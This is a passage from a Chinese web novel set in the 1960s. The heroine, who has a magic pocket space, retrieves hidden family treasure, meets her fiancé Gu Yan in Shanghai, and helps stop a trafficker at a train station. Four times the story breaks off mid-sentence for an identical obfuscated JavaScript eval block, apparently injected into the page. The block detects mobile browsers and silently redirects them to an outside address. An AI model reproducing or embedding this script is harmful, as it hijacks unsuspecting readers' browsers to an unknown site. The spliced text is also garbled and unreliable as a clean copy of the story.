不过建房不是一件小事,首先拦住她的不是技术,技术可以学,但是她这小胳膊小腿的。 她觉得自己有必要从长计议,现在…… 先扎个栅栏好了。 两只鸡和两只兔子此刻乖乖地蹲在小溪边,看起来适应得不错。 赵书宜暂时没办法给自己建房,给小动物建个窝是完全没问题的。 说干就干,赵书宜把家里收进来和自己买的东西按大概的位置摆放好。 然后去旁边竹林砍了一根竹子做篱笆,她想,如果不行的话,建一座竹屋应该也是可以的。 只是不管建什么屋子打地基都应该很重要吧,她一窍不通。 扎篱笆听起来简单,但只是给小鸡们扎好就颇耗费了点工夫。 赵书宜看着自己的成果还挺满意,心里有了点从前玩基建游戏的快感。 这里是属于她自己的世界啊。 突然,外面传来敲门声。 赵书宜低头看看,发现自己身上没什么不妥,这才赶紧出了空间开门。 是朱怡。 “赵书宜同志,你吃过饭了吗?” “吃过了吃过了,你们呢?” “我们还没有,打算在招待所的厨房煮点面,你还要再吃点吗?” “不用了,我还不饿。” 朱怡点头,“好,我们今晚都在房间,你有事就来找我们,早点休息。” 赵书宜客气应下。 他们现在回来,估计再等两个小时自己就可以出门了。 赵书宜回到房间暂时没再进空间,而是在床上躺了一会儿注意着外面的动静。 都是军人,行动麻利。 感觉他们一行吃饭洗漱加上煮饭的时间只用了可能不到半小时。 但赵书宜还是没急着出去。 现在还太早,就算她现在出去没被发现也不太方便行事。 还没行动赵书宜心里已经开始紧张起来。 留给她的时间不多,机会也不多,最好是今天就把东西拿到手。 时间一分一秒过去,赵书宜的心情也越发焦灼。 她一遍遍看手表。 终于,在时间指针指向十一点时,她悄悄打开了窗户。 这年头楼房的楼层并不算太高,只要有能够拉着她的工具,她应该也能下去。 正好,她的房间在最角落,楼下大概是个杂物间,窗户很小,不至于吊在人家窗户上被别人看见,也不容易被隔壁房间的人发现。 赵书宜今天在外面买了麻绳,将麻绳绑在床腿上以便她爬出去。 前后两辈子,赵书宜第一次做这种事情,实在刺激。 她也在心里不断地告诉自己不要害怕,就算出什么意外她还可以立马闪身进入空间,所以肯定不会有事的。 事实也没有发生什么不可控的事,她顺利下楼,然后把麻绳一收,完全没了痕迹。 六十年代夜晚街头的路灯很是昏暗,但这也给了赵书宜一些亲切感。 大概是原身从小在这里长大的感觉。 赵书宜按照自己白天踩过点的路线小心前进,拐了几个弯,终于又看到了那个幼儿园。 彼时幼儿园里一片静谧,静得赵书宜仿佛能听到耳边的风声。 赵书宜悄摸来到了幼儿园的后院,那里树多,便于隐蔽。 高高的围墙对她而言并不方便行动。 但也不是完全没有办法。 赵书宜直接拿出用麻绳捆住的椅子,借着椅子爬上围墙,然后直接跳进幼儿园里,这时再将麻绳和椅子收起来就神不知鬼不觉了。 但凡再晚个二十年,她这一套就完全行不通了。 只要有监控,她的空间的使用就会无比地艰难。 居然有点庆幸是穿越到了这个年代怎么回事? 赵书宜自嘲地笑了笑自己,脚下没停,直接轻手轻脚朝着目的地而去。 从前的主卧现在是一个孩子们的大教室,除了墙体和桌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615814|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里面已经几乎没有了以前的痕迹。 墙上还挂着几张极富这个年代特色的画像和标语。 赵书宜只是扫了一眼,并没有多看,她的目标在房顶。 这里的楼层高度就不像招待所那么低了。 好在,幼儿园的教室里还有桌子,她把桌子挪到房间东南角的柱子下面,然后爬到桌子上,又在桌上搭了凳子,爬上凳子垫脚勉强能摸到房梁。 在房梁上好一顿摸索,赵书宜终于在边上某一处摸到一个黄豆大小几乎感觉不出来的凹陷,往下一按,她听到了什么东西挪动的声音,但是房间里并没有什么变化。 重新又按了一遍。 终于,她看到靠着南边的墙体竟直接往下移了下去,随即露出一个十分狭窄的入口。 这里是个地道。 赵书宜没有犹豫,赶忙走了下去。 光线昏暗,她每一步都走得很实,一颗心就像是要跳出来似的。 等下去之后她才赶打开手电,很快她找到了那些东西。 一个并不算太大的地下室摆了大概二十来口木箱,在木箱的旁边居然还有一架手风琴。 看着手风琴,有记忆涌入了赵书宜的脑海。 那是原身小时候的记忆。 爷爷坐在种满鲜花的院子里奏着手风琴,奶奶领着她在一旁跳舞,日子祥和而安宁。 或许对于老人来说,那也是一段再也回不去但却又无比怀念的时光。 来不及想太多,她甚至来不及看那些箱子里摆着什么东西,全部都收进了空间里。 然后她迅速出了地道将教室复原,又原路从后院院墙返回。 等把凳子和麻绳收回空间,赵书宜的一颗心才终于落回了实处。 不过很快那颗心又提起来了些。 她得赶紧回去,不能让郑景成他们发现端倪。 赵书宜从来不敢小看书中的主角。 想到这她不由得加快脚步,结果就在转角的时候,里面突然窜出一个黑影来,吓得赵书宜心跳到了嗓子眼。 惊叫声呼之欲出,来人一下揽着她躲到树后还捂住了她的嘴。 没一会儿巷子里竟又跑出一个人影。 人影左右张望,而后以百米冲刺的速度冲进了对面巷子。 他大概是觉得左右两边的路都太宽阔能够一眼望到头自己追的人根本不可能往两边跑。 殊不知人根本没跑。 这是真真的灯下黑啊。 赵书宜在心中感叹了一句,没敢动弹。 身后的男人身材很高大,整个人几乎将她笼罩起来。 自己现在肯定是不能用空间的,那么如何脱离对方就成了一个问题。 就在紧急琢磨时,赵书宜闻到一股淡淡的血腥味。 她正想开口才想起自己的嘴被对方捂着。 赵书宜又紧张起来。 这人想干什么,该不会是要杀人灭口吧。 要不还是进空间好了。 反正左右也没有其他人,说不定他会以为见鬼了。 但是他们两个挨这么近,她进空间会不会把对方也带进去。 如果是那样,那自己可就真的惨了。 对方怎么还不动作? 突然,男人冷然的声音砸在赵书宜的耳边。 “赵书宜,你怎么在这?” 12. 什么人啊。 赵书宜瞪大眼看清面前的男人。 她真是万万没想到自己能在这里碰见顾岩,自己的未婚夫。 而且是在这样的情况下。 赵书宜一时间真不知该怎么回答了。 脑子一片空白。 她难道要直接说我是去找你结婚的吗? “你还好吗?” 顾岩抬手在赵书宜眼前挥了挥。 赵书宜如梦初醒,上下打量了他一番,抬手要按向对方左肩,对方躲开了。 “你受伤了。” 顾岩只是轻轻瞥了眼自己的伤口,无所谓道:“没事,你住哪,我送你回去。” 他没再追问赵书宜为什么会出现在沪市。 但赵书宜是一定要说的。 有些事情夜长梦多,不能拖。 “我是准备去云省找你的,顾岩,你还能和我结婚吗?” 自见面起,顾岩的眉心一直紧紧锁着,此时皱得更紧了。 他没答反问:“你家里出事了?” “没有。” 赵书宜回答得干脆。 “但是差一点。” 多的赵书宜暂时没想好要怎么说。 在这里碰上顾岩实在出乎她的意料。 原身之前明确表示了对高志云的好感,顾岩不是傻子肯定能看出来,或者在外面打听一下就能知道。 如果现在告诉他自己是因为高志云才又去找他结婚,那对方恐怕会觉得自己把他当成垃圾收容所,甚至还是备用的。 “如果你不想结婚也可以,能帮我介绍一个对象吗?” 顾岩一直没怎么变的表情终于有了点不一样的反应。 他转头深深看了赵书宜一眼,点头,“好。” 好? 是同意和她结婚? 还是同意给她介绍对象? 哎,现在这情况,自己处于被动,似乎不管是哪种选择都由不得自己了。 赵书宜抿抿唇,说:“行,你的伤口真的不要紧吗,要不要我帮你包扎一下?” “不用,我回去收拾。”顾岩脸上似乎闪过了一丝无奈,他问,“你去找我怎么会来沪市?” 这个倒是没什么可隐瞒的。 “我是跟着军工厂郑书记安排的人一起过来的,他们来沪市有任务,我……我只是想来看看从前住的地方。” 如此自己大半夜跑出来的行为也有了解释。 赵书宜一边庆幸自己找到了一个完美的借口,一边后怕起来。 自己刚才在那里又是凳子又是绳子的,若是早一点或者晚一点可能就被人发现了。 看来以后还是要慎用空间。 不过今天的事赵书宜倒是不后悔。 赵家的那些东西她是绝不可能便宜了许晚晴他们的,必须收起来她才放心。 果然,听了她的解释,顾岩似乎并没有怀疑。 他说:“这里现在是幼儿园,你要是想来,白天进去参观应该也是可以的。” “我知道了。”赵书宜低头,装乖巧,“我只是担心……” 担心什么她就是不说,自己猜呗。 只可惜很快她就被对方的话雷得差点没能装得下去。 顾岩问:“你下午去乡下干什么?” 赵书宜震惊不已。 人还能有点秘密吗? 但她很快想到那辆从自己身边路过的军用吉普。 赵书宜咬牙,换了个方式,“你既然看到我了怎么不带带我?” 顾岩明显一噎。 两人沉默,最怕空气突然安静。 但赵书宜心里舒服了不少。 反正现在尴尬的又不是她。 “我没想到真的会在沪市看到你,而且你当时的打扮……有点奇怪。” 想到自己当时那鬼样子,都那样了他一扫而过还能看得出来? 什么人啊。 早知道自己刚才就不承认了。 不过赵书宜没有太纠结这事,她并不太爱撒谎,更讨厌用一个谎圆另一个谎的感觉。 自己去乡下干什么,不告诉他他又能怎么样。 果不其然,见她没有要说的意思,顾岩就没有追问,他只是道:“别再去那边,那边最近不太平。” 赵书宜下意识问:“怎么了?” “机密,不太方便透露,抱歉,你住哪,我送你回去。” 听他这么说赵书宜才反应过来,对方从云省来沪市应该也是来做任务的,自己确实不该多问。 所幸赵书宜也没那么强的好奇心,她也没打算再去那个村里,“我知道了。” “我住火车站招待所,你的伤真的不要紧吗,我自己回去也可以的。” 顾岩看着朦胧月色下她看向自己左臂时忽闪忽闪的眼睫,突然觉得自己伤得可能真的有点重,整个左臂都麻麻的。 “没事,走吧。”顾岩声音莫名哑了两分。 赵书宜并没有注意到,她也没有拒绝对方,易地而处,如果自己是他肯定也会把小姑娘送到住处,哪怕被拒绝。 所以赵书宜不能再从窗子翻进去了,幸亏以防万一她没有将门反锁。 而且她脑子里还在想另外一件事。 自己这一趟本来就是要去找他的,现在碰到了,那自己是按原计划跟郑景成他们一起,还是跟他一起? 赵书宜本能想和他一起,两人单独相处些时间应该更能了解这个人。 她还是不太能接受随便嫁给一个自己完全不了解的人。 如果相处下来感觉他不行,那就趁早重新物色对象。 就在赵书宜琢磨的时候,对方反倒先开了口。 “我应该后天回云省,你要不要直接和我一起,你们打算什么时候走?” “方便吗?”赵书宜没想到对方跟自己想到一起去了。 她不是很想麻烦人,如果方便,当然是和他一起。 “方便,我申请一下就好,有介绍信吧。” “当然。” “行,那我帮你买票,后天一早来接你。” 赵书宜点头。 真是一个无比魔幻的夜晚。 谁能想到呢,他们两个人在跨越各自住处那么远的地方,居然能够在沪市相遇。 这也算是一种缘分吧。 回到招待所已经是凌晨。 果不其然,郑景成一行也很谨慎,她钥匙才刚插进锁眼,对面房门就开了。 郑景成问:“怎么了,赵同志,是出什么事了吗?” “没事,我上个厕所,郑同志,我明天有事跟你说。” 大晚上的,她声音都不敢太大,还是明天说更合适。 郑景成诧异,但还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615815|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头,“七点半可以吗?” “行。” 两人小声交谈几句就分开了。 四处静悄悄的,再多说两句可能就要挨骂了。 等躺到床上,赵书宜进了空间。 遇到顾岩,她连收了那么多箱子的激动都被压下去不少。 不过现在看到这些东西,那种激动的情绪又翻涌上来了。 即便她没想将之占为己有。 她打开第一个箱子,再一次被闪瞎眼,箱子里的大黄鱼可比高父书房里那点多多了。 第二个箱子里都是一些整理得很好的书册,赵书宜轻轻翻了翻,她不懂得鉴赏,但能看得出来都是好东西。 第三个箱子里全是各类首饰,玉占多数。 第四个、第五个…… 等看完全部的箱子,赵书宜还有一种强烈的不真实感。 这么多好东西,都像是普通货物一样被堆在这里。 它们不应该是这样的归宿。 赵书宜心里有了一个小小的计划,不过现在还不确定自己的未来,一切还是等先稳定下来再说。 把东西都收好,赵书宜这才开始仔细琢磨顾岩这个人。 顾岩无疑是优秀的,不管是外形条件还是家庭条件亦或是他年纪轻轻就当上副团长的位置所匹配的能力都很吸引人。 也都有点吸引赵书宜。 在书中,他也是如此,但他同样也只是衬托男女主的一个炮灰而已。 书里,女主重生以后她一直寻找男主并没有找到,许母又一直催促她找对象,于是她就自己开了介绍信去了云省。 然而顾岩并没有接纳她,反而对她十分冷漠。 她受不了那个气,又没有着落,还被顾岩给强行塞回了回京市的火车。 女主受气当然不是白受的。 在这趟火车上,许晚晴遇到了人贩子,也遇见了男主,两人的缘分从这里才真正开始。 后来许晚晴嫁给郑景成,郑景成也屡立战功,越爬越高。 几年之后就有了随军资格。 正好郑景成被调去云省,许晚晴和他一同前往。 他们去的那天,受伤跛脚的顾岩退伍。 此时的场景与当时女主被顾岩强行送走的场景形成了强烈的对比。 许晚晴只觉畅快不已,读者们也觉得畅快不已。 现在想想,都在畅快些什么啊? 顾岩是保家卫国的军人,他的受伤退伍是组织的重大损失,谁有资格笑? 偏偏看书时还不觉得有什么问题。 赵书宜心里闷闷。 自己有办法能帮一帮他吗? 她的视线落在灵泉水上。 不知道灵泉水有没有那样的功效。 想到之前自己手上迅速愈合的伤口,赵书宜觉得或许也不是没有希望。 当然,要是能知道顾岩是怎么受伤的,提前避免这场伤害是最好不过的了。 只是这于她而言就有点难度了。 “算了,走一步看一步吧。” 自己又不是圣人,不是所有困难都能轻易解决,她没有必要给自己背那么重的包袱。 “无愧于心就好。” 想通之后,赵书宜的心情果然好了不少。 她出空间休息了一下,很快就到了和郑景成约定的时间。 13. “不好意思,认错人了。” 敲门声响起,赵书宜开门,只见郑景成手里还拿着早饭。 有包子和豆浆。 “这是给你带的早饭。” 赵书宜一顿,连忙接下,“多谢,进来说吧。” 郑景成犹豫了一下,还是进了屋。 见赵书宜并没有关门,他似乎是松了一口气。 好在这次没红耳朵了。 “郑同志,是这样的,我昨天在街上遇到顾岩了,哦,就是我的未婚夫,他明天回云省,我打算和他一起,就不麻烦你们了。” 郑景成顿时皱起了眉头。 “这么巧?确定没问题吗?” “我确定,确实很巧,他们似乎也是来做任务的。” 瞧他这震惊样,要是知道他们是大晚上遇见的,那不得惊得说不出话来? “也行,我们可能还得待两日,你要注意安全,有事找乘警。” 他说的是在火车上。 听到对方关心的话语,赵书宜多少有些歉疚。 不管是郑书记还是郑景成,他们都是真心在帮自己,但自己总因为原书对他们心存偏见。 虽然知道自己这样不太好,但赵书宜也没想改,反正以后指不定都见不着了。 只希望下次见面别是顾岩因伤退伍,对方升职加薪吧。 只要想想那个场景她就没办法没偏见。 心里诸多想法,赵书宜还是又客气地说了声谢谢。 以后如何不提,之前的帮助是实打实的。 “不用客气,那我先走了,你注意安全。”对方再次嘱咐。 赵书宜嗯了一声,“你们也是,一切顺利,帮我跟郑书记和朱怡同志说一声。” 按理说朱怡那样保护她,她应该当面感谢的。 但朱怡似乎只把她当成一个任务对象,是听郑景成指挥的。 自己也没必要去打乱了人家的秩序。 昨天该做的事情都已经做好了,赵书宜没急着出门,只老老实实待在房间里。 沪市的夏天也挺热的,招待所院里有几棵梧桐,知了疯狂叫着,很有夏天的感觉。 赵书宜找了纸笔试着写下自己有可能会用到的东西,她打算等下午再去采购一趟。 听说云省很偏僻,从军环境更是不好,说不定到时候都买不到自己想要的东西,提前准备好肯定没错。 顾岩说好第二天来接她,这一天就愣是没出现。 赵书宜倒也谈不上失落,只是觉得对方对自己可能真没什么感情。 但转念一想,自己对他也只是利用,怎么能求人家对自己掏心掏肺。 但凡赵书宜不是如今这样的身份,不是身处如今这样的年代,她都决计不会这么轻易把自己嫁出去。 不过好在她没有对婚姻生活抱太大的希望,到时候如果离婚她也不是接受不了。 如此想着赵书宜心里就真没半点负担了。 她除了去买东西的空档,就是在房间里整理自己的空间。 看着自己的小世界慢慢的变成自己喜欢的样子特别有成就感。 她可以在空间里种满鲜花,不用担心旁人说她是资本家的小姐。 她还可以做很多的事,在这个世界里拥有绝对的自由。 赵书宜想,房子只是第一步,她还可以修路架桥,只要能尝试的,她都可以试试。 这时候环境已经有些敏感,但是书店里还可以买书,于是她又去了书店。 不过担心被人发现,赵书宜并没有一股脑地买太多,大概买了十多本书。 实用技术类的放了两三本在外面,其他的被她收进了空间。 其中就有两三本有关建筑的书。 从零到有学习一门如此高难度的技术应该是很困难的事。 但在还没有想好未来道路的今天,她或许可以都尝试尝试。 等十年后或许还能考大学读个自己喜欢的专业。 有了书,赵书宜又有了打发时间的事情。 时间仿佛一晃就到了晚上,她把自己洗得干干净净这才躺在了床上。 接下来又是几天的火车,肯定是不方便洗漱的,想想就令人头皮发麻。 睡前,赵书宜有些迷迷糊糊地想。 如果顾岩给她定硬座,她可能真得考虑自己到底要不要嫁给他。 翌日,又是天朗气清的一天。 外面传来蝉鸣声,赵书宜翻身起床。 刚洗漱好顾岩就过来了。 “收拾好了,需不需要帮忙?” 态度还算客气。 赵书宜摇头,“都收拾好了,走吧。” 两人一起走出招待所,顾岩又领着她去吃了早饭,询问她想吃什么之后,顾岩就包揽了所有的事情。 “吃过饭过去还比较充裕,需要买什么东西吗?” 他挺周到的,让赵书宜都有些不好意思提硬卧还是硬座的事情了。 接过对方递过来的豆浆,赵书宜说了句谢谢,“需要的都买好了,不用麻烦。” “嗯。”对方应了一声后两人谁都没再说话,只低头默默吃饭。 赵书宜挺纳闷,这年头的人到底是怎么做到的,见一两面就直接结婚生子了。 不熟,根本就不熟。 顾岩背了一个包,他全程很自觉地帮赵书宜拎着箱子,赵书宜就只拿了一个装了点吃食的网兜。 这情况其实挺好的,但赵书宜一时间就找不出什么话跟对方说了。 火车站里人来人往十分拥挤。 而且什么味都有。 赵书宜控制不住,微微拧着眉头,站在顾岩旁边,一言不发。 “你暂时忍耐一下,等上车就能好点了。” 人太多又十分嘈杂,赵书宜没能听清他的话,踮脚问:“你说什么?” 顾岩凑得近了些,还没说话,他一手虚搭在赵书宜肩膀上。 “小心一点。” 这下声音倒是大,但这话不是对着她说的。 赵书宜回头,只见一个三十来岁的男人,冲他们笑了笑,“不好意思,认错人了。” 说完他踮着脚东张西望,真像是在找什么人。 他那笑容让赵书宜有些不舒服,赵书宜下意识往顾岩身边靠了一点。 这么一来,赵书宜就几乎要贴到顾岩怀里去了。 对方生得实在高大,站在他跟前她像是直接被围在了一个小世界里,这让赵书宜感到有点不自在。 但在这嘈杂的人群中,有人这么护着,无疑是很有安全感的。 也不知道顾岩是吃什么长大的,怎么能长得这么高壮。 就在赵书宜胡思乱想的时候,距离她几米外一个姑娘突然大声嚷嚷起来。 “你是谁啊,你别碰我,我根本就不认识你!” “救命!你放开我!” 赵书宜转身,撞在顾岩胳膊上她也没有在意,因为她发现拉着姑娘的人是刚才站在自己身后的男人。 那人刚才还穿着一件敞着的衬衣,这时只剩里面的背心,若是不仔细看还真认不出来。 虽然只是脱个衣服也代表不了什么,但赵书宜就是莫名觉得不对劲。 她转头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615816|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾岩,顾岩却先开口了。 “过去看看,跟紧我。” “好。” 有他在,赵书宜心里安心了不少。 那两人还在争执。 “你放开我,我说了我不认识你,你怎么动手动脚的!” “我们马上就要结婚了,你不能跑!” “谁要跟你结婚了?你放开我!” “不行,你今天说什么都要跟我回去!” “我不!我又不认识你!” 小姑娘显然也不知道该应对这么一个死缠着自己的男人只能哭着不让对方拉自己走。 可她的力气显然比不过那男人,眼看着她就要被拖走,旁边围观的人又以为她就是那男人所谓的跑掉的未婚妻。 或许有人发觉到了不对劲,却不敢出言帮忙。 如果真是有意为之,那男人肯定不是一个人,肯定有同伙。 赵书宜四下扫了眼,说:“你说你不认识他,那你说说你怎么一个人在此处,要去哪啊?” 人太多,赵书宜又几乎缩在顾岩的身前,大家都没注意到是谁开的口。 但许多人都是从众的,他们听到了自己感兴趣的话题,自然会跟着往下问。 果然很快就有人应和。 “对,还有你,你说她是你未婚妻,你有什么证据?” “她本来就是我未来的媳妇,要什么证据,你该不会就是撺掇她离开的野男人吧!” 男人恶狠狠的,一个帮忙说话的年轻人被吼得退后了好几步。 那姑娘大喊道:“我根本不认识他,我是去云省随军的军属,破坏军婚可是犯法的,你们帮我找公安把他抓起来!” 此话一出,众人都惊讶了。 这可是军属,大家怎么还敢只当好戏看! 赵书宜也有些诧异,她既然是军属怎么不早说,结果被逼成这样。 “什么随军,你胡说八道也有个谱,军人也是胡乱攀扯的,想蹲笆篱子是不是?” 那男人刚才眼神明显闪烁了一下,但是却没有放弃,仍旧要拉着那小姑娘离开。 “我都说了我不认识你了,你放开我!” 这时,几个乘警终于挤了过来。 “我证明,她没有胡说,你是不是张团长的家属。”是顾岩站了出去。 赵书宜诧异,他也是猜到了男人不对劲才这样说的吗? 谁知那小姑娘望向顾岩泪眼汪汪,连连点头,“你认识我哥!” 居然真是认识的! 他怎么不早说? 乘警看看顾岩,又看看那男人,问:“怎么回事?” 顾岩从包里摸出军官证递给乘警,然后只见他一个转身,长臂一抓,抓住个要从人群里逃跑的男人。 一下就把人拎住摔到了地上。 那力气,吓得现场众人一下子安静下来。 人群里还有人倒退。 “跑什么!”有人喝了一声,没想到那人却突然发狠,好在吼他的那个男人也是个有手脚功夫的,直接把人给扣住了。 人群中不知从哪里开始响起了掌声。 紧接着大家都热烈地鼓起掌来。 因为抓了人,肯定得录笔录,顾岩走时没往护着赵书宜一起,于是赵书宜也被问了话,赵书宜完全没隐瞒的必要都一五一十地都说了。 等录完笔录正好快到发车的时间,顾岩带着赵书宜就往站台去。 “等等,顾连长,赵同志,你们等等我。” 女人的声音在身后响起,两人齐齐回头,是刚刚那个差点被拐走的小姑娘。 14. 贴心 差点出事的小姑娘名叫张玥,是一名实习记者,她这次是去隔壁省做报道的,并非去云省。 但刚才她感觉到情况不对,于是直接报出了自己哥哥的名号,没想到果然就有人帮助自己。 张玥跟着他们一直跟到了他们的车厢。 “顾连长,赵同志,谢谢你们,今天如果不是你们,我可能就真的被人拉走了。” 顾岩不理人,赵书宜只好客气道:“不用客气的,举手之劳而已。” 张玥显然还有些激动,“你们是举手之劳,但却救了我一条命,我一定给你们送一面锦旗过去,感谢你们救了我。” 闻言赵书宜直接就想拒绝。 送锦旗,她只要一想到要当着所有人的面接受表扬她就全身不自在。 她可不想做道德标兵被人道德绑架。 谁知道一直没说话的顾岩却突然应了下来。 “行,到时候送到军区就好。” 赵书宜想说的话到嘴边又被她咽了回去。 一想也是,见义勇为的是他又不是自己,自己没理由帮他拒绝。 她只是没想到原来顾岩还会在意这些,不过好像他们做这一行的是会比较在意外面对他们的评价,或许有助于他们升迁什么的。 “好。”张玥很爽快地应了下来。 顾岩拿了赵书宜手边的水壶,“我去打点水,先别乱走,等我回来。” 赵书宜点了点头。 他很快迈着大长腿离开了。 人离开后张玥重重地呼出一口气,“太吓人了,赵同志,你们是在处对象吧?” 赵书宜一愣,一时竟不知该如何回答。 她想对方应该不是顾岩的桃花吧? 想了一下,赵书宜说道:“不算,我是准备去和他相亲的,没想到在路上碰见了。” 张玥惊讶地差点尖叫。 “那也太巧了,未婚夫妻相亲途中相遇,共同缉拿人贩子拯救被困少女,多好的新闻题材啊!” 这下轮到赵书宜震惊了! 这也行? “嘿嘿,你放心,我不会这样写的,那些人贩子肯定还有同伙,要是登了报说不定他们会报复的,我给你们送锦旗就可以了。” 赵书宜动动嘴唇,还是没说话。 一面锦旗而已,送就送吧。 结果张玥又嘿嘿笑起来,好似刚才受到惊吓的人不是她似的。 她说:“虽然顾连长看起来很恐怖,但他对你是真不错,你看他一开始一直都不理人的,结果听到要送锦旗就应下来了,肯定是为了你能更好融入家属院。” 赵书宜一怔。 还能这么想吗? 他不是为了他自己? 赵书宜一下子反应过来。 确实,在她的记忆里,不管是谁提到顾岩那都是一身正气,哪里会去钻研这些? 原本赵书宜没想太多,现在听了张玥的话,她一下就反应过来了。 或许顾岩不仅是为了自己能在家属院过得好点,他还是顾忌着自己的身份。 她家里的情况若是被人知道了铁定是一个把柄,但有见义勇为的好名声在前头,怎么也能好点。 “不用太客气。” 张玥脸一板,“做了好事一定要得到应有嘉奖的!” “不过刚才真的是吓我一跳,我一开始还没反应过来,你说这些骗人的手段怎么还一套一套的呢,这要是没出过门的年轻人真的很容易被唬住啊!” 赵书宜深以为然。 “你不是记者吗,你可以发布一些骗局文章在报纸上,大家看了不就能提前防范了吗?” 张玥眼睛一亮,但很快又皱起眉来。 “可我也不知道有哪些骗局啊?” 赵书宜倒是知道一些。 她从信息爆炸的世界穿越而来,看过的案例挺多,但不知道适不适用。 转念一想,不管适不适用,多点防范意识总是好的。 “我知道一些,不知道对你来说有没有用。” “说说看。” 张玥显然是个敬业的记着,立马翻了纸笔出来。 “有很多种,我只能想到什么说什么了,一般来说骗局大多骗小孩和年轻姑娘,这是大头,但并不代表其他群体不会被骗。” “首先我们说孩子,孩子最是单纯,很容易听信陌生人的话,比如小一点的孩子可能会被大人的糖衣炮弹收买,这是最基本的。” 张玥点头,“很多孩子应该是知道这个的。” “对,但是如果这个大人是孩子熟悉的人呢,如果这个给糖的是小孩呢?” 闻言张玥眉头皱了起来,“这可咋办啊?” “别在外面乱吃别人的东西。” 张玥嘀咕,“这小孩哪控制得了?” 确实没办法完全杜绝,但只要努力宣传,人们的生活水平好起来,法律法规不断完善,一切都会更好的。 也是来到这个世界赵书宜才意识到人们的伟大。 短短几十年,就有了如此大的发展。 “不是所有孩子都能控制,但如果孩子有了这个意识,至少能辨别一二,不是所有人的糖都会往嘴里塞。” “做所有的事情都是一样,不积跬步无以至千里。” 顾岩进入车厢就听到这么一句话。 他视线往声音处望去,看到两人一边说一边写,他眼神闪了闪没有打扰。 火车不知什么时候启动了,赵书宜和张玥都没有太注意。 两人一个说一个记,张玥不愧是做记者的,问题又多又刁钻,有些问题是赵书宜都没想过的,但她也尽量答了。 她们跟聊天似的,以至于张玥要下车了,赵书宜也才讲两三个骗局而已。 “赵同志,你讲得太好了,这是我的地址,你可以自己写文章投稿,到时候我会给你申请稿费的。” 赵书宜心说稿费估计马上就要取消了,想靠这个赚钱是不可能的,不过积攒名声倒是可以。 接过地址,她没说答应还是不答应,只道:“我会好好考虑,张同志你小心一点。” “没事,有人来接我,记得给我写信啊。” 说完她风风火火地就走了。 记者这个工作还真是适合她。 也不知道是不是去云省的人太少,张玥一走,车厢里就只剩了赵书宜和顾岩,两人好像没什么话可说,车厢里的安静与外面火车发出的哐当哐当的声音形成了鲜明的对比。 过了许久,还是顾岩先开了口。 “她说的你可以试试,发表这样的文章是好事,对你的名声比较好。” 赵书宜点点头,问:“我家的事情会影响到你吗?” “不会。”他回答得很干脆。 可没等赵书宜松一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615817|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他又说:“但是你住在家属院,难免会听到有人说不好听的话,如果你的名声好点的话,这些麻烦就会少很多。” 赵书宜点头,跟她想得差不多。 “那你接受锦旗也是这个原因吗?” 顾岩倒是没否认,他说话跟他这个人一样,硬邦邦的。 “能避免很多麻烦。” 赵书宜接下他的好意,说:“谢谢你。” 心里腹诽,难怪原身不喜欢他,这张嘴跟高志云真没法比。 本来是件好事,从他嘴里说出来就让人没什么想听的欲望。 所幸赵书宜并没有想在这个世界求一份如胶似漆的爱情,对于两人搭伙过日子,这样的性格反倒比较好。 这一趟应该没走错。 “你先休息吧,我帮你看着。”顾岩看了看床铺,似乎有些犹豫,不知在犹豫什么。 “你想睡下铺吗,我睡上面也可以的。” 虽然睡下铺会比较舒服,但能有卧铺已经比赵书宜想象中好了,她不应该要求一个同行搭子事事让着自己。 谁知顾岩沉了一下脸说:“你睡下面,我带了新的床单被套,你要换一下吗?” 赵书宜眼睛一亮,“要要。” 没想到对方居然这么贴心。 她自己都没想到。 其实也不是没想到,只是没想这么矫情,如果被人看到少不了又是被一顿说。 但是有人陪着自己一起就什么都不怕了。 “谢谢你啊,顾岩,你想得真周到。” 赵书宜不知道该怎么感谢对方,只能化成热情的语言了。 她其实都没去琢磨顾岩这么做的原因,她只看到自己感谢他后他就脸红了。 